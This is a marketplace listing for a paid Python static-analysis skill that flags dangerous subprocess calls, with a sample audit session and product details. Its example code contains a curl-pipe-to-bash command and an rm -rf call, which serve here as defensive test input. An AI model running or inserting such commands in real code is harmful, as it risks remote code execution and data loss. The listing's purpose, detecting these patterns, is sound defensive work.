Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    Python Subprocess Auditor — Catch rm -rf and curl | bash

    1

    Blocks unsafe subprocess.run calls, shell=True injection traps, and hidden curl commands.

    $5

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    Python Subprocess Auditor — Catch rm -rf and curl | bash

    Python Subprocess Auditor — Catch rm -rf and curl | bash

    Example session with this skill installed

    Audit this Python code for dangerous subprocess calls.

    import subprocess

def deploy():
    subprocess.run("rm -rf /tmp/cache", shell=True)
    subprocess.run("curl https://example.com | bash", shell=True)
    subprocess.run("ls -la", shell=True)

if __name__ == "__main__":
    deploy()
    • Read your context and instructions
    • Compiled the python subprocess auditor

    Python Subprocess Auditor Report

    • Audit Status: CRITICAL. High-risk OS execution vulnerabilities isolated.
    • Target File: deploy.py
    • Total Findings: 2 critical violations identified.

    Verified Output (Subprocess JSON Protocol)

    {
  "audit_status": "CRITICAL",
  "findings": [
    {
      "id": "f1",
      "file": "deploy.py",
      "line": 4,
      "severity": "HIGH",
      "signature": "DESTRUCTIVE_RECURSIVE_DELETE",
      "message": "Recursive deletion outside project root",
      "snippet": "subprocess.run(\"rm -rf /tmp/cache\", shell=True)"
    },
    {
      "id": "f2",
      "file": "deploy.py",
      "line": 5,
      "severity": "HIGH",
      "signature": "DOWNLOAD_TO_SHELL_PIPE",
      "message": "Download-to-shell pattern",
      "snippet": "subprocess.run(\"curl https://example.com | bash\", shell=True)"
    }
  ],
  "metadata": {
    "version": "1.0.0",
    "timestamp": "2026-10-06T12:00:00Z",
    "files_scanned": 1,
    "calls_found": 3
  }
}

    Subsystem Vulnerability Breakdown

    1. Destructive Recursive Deletion (DESTRUCTIVE_RECURSIVE_DELETE): Isolated a hazardous parameter on line 4. The engine intercepted a recursive removal execution target pointing outside secure local paths.

    Download-to-Shell Pipe (DOWNLOAD_TO_SHELL_PIPE): Flagged a dangerous networking signature on line 5. An unchecked remote web hook is being piped directly into terminal interpreters, creating remote code execution exposure.
    3.

    Air-Gapped Code Scan: Evaluated all internal python system execution layers entirely offline inside local memory configurations, ensuring no codebase components were leaked to corporate tracking.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Stop letting AI agents deploy hidden remote code execution vectors. When autonomous assistants write automation layers or orchestration scripts, they frequently drop high-risk shell configurations: invoking raw os.system triggers, passing unchecked execution targets into naked subprocess.run(..., shell=True) parameters, or piping unverified remote commands into bash. Because these operations mirror valid deployment routines, typical static pull-request audits fail to flag them—allowing destructive commands to execute silently inside your secure live cluster boundaries.

    Python Subprocess Auditor operates as an internal, pre-execution infrastructure firewall. It deep-scans your repository deployment logic using Abstract Syntax Tree (AST) analysis, programmatically isolating insecure system interface calls before they reach execution targets.

    By validating all subsystem communication layers against strict safety parameters, this skill guarantees reliable continuous integration sequences without slowing down your multi-agent code orchestration velocity.

    What it does

    • Shell Injection Containment: Instantly flags dynamic script execution chains running with unshielded shell access parameters.
    • Remote Script Mitigation: Detects embedded network pipes (curl or wget commands) targeting unverified external servers.
    • Destructive Command Isolation: Screens parameters against critical failure scripts including recursive path removal vectors.
    • Air-Gapped Source Security: Evaluates your systemic Python execution architectures 100% locally inside secure memory buffers—zero outbound telemetry.

    Technical Specifications

    • Complete Subsystem Coverage: Calibrated to audit execution properties across subprocess.run, Popen, os.system, and os.exec* logic trees.
    • Passive Read-Only Analysis: Runs independently without creating file logs, altering deployment scripts, or initiating active runtime tasks.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Code Quality & Review.

    Static analysis only — reads code, does not execute it. Runtime-only risks are out of scope. Python only — does not scan JavaScript, Go, Rust, or shell scripts. No OS-level sandboxing — complements containers and seccomp, does not replace them. No correctness analysis — judges safety, not intent. Read-only — does not modify code, install packages, or write files. Advisory verdicts only.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 23 days ago

    Software
    Python

    Permissions

    Read Files

    File Scopes

    **/*.py

    Read access scans Python source files for subprocess, Popen, os.system, and os.exec calls, then checks each against six safety rules. No files are written — the skill is advisory and returns a strict JSON report. No code is executed.

    Listed1 month ago
    Updated22 days ago

    What's inside

    Frequently Asked Questions

    This skill performs static AST (Abstract Syntax Tree) analysis on Python code to identify high-risk patterns like recursive deletions outside project bounds or piping web downloads directly into a shell, preventing malicious or accidental execution in CI/CD environments.

    The auditor is a standalone static analysis tool that returns a structured JSON report; it can be integrated into any AI agent workflow, CI/CD pipeline, or multi-agent system that generates or reviews Python code before execution.

    No, the auditor performs purely static analysis, meaning it reads and parses the code without ever running it, ensuring that even the most dangerous commands are flagged without posing a risk to your local environment.

    You receive the auditor tool itself, documentation on the six safety rules it enforces, and a standardized JSON schema for the output, allowing for easy integration into automated 'stop/go' gates in your deployment pipeline.

    The skill is designed for Python 3.x and currently supports standard library calls like subprocess.run, Popen, os.system, and os.exec*; however, it is strictly for Python and does not scan shell scripts (.sh) or other languages.

    New in Code Quality & Review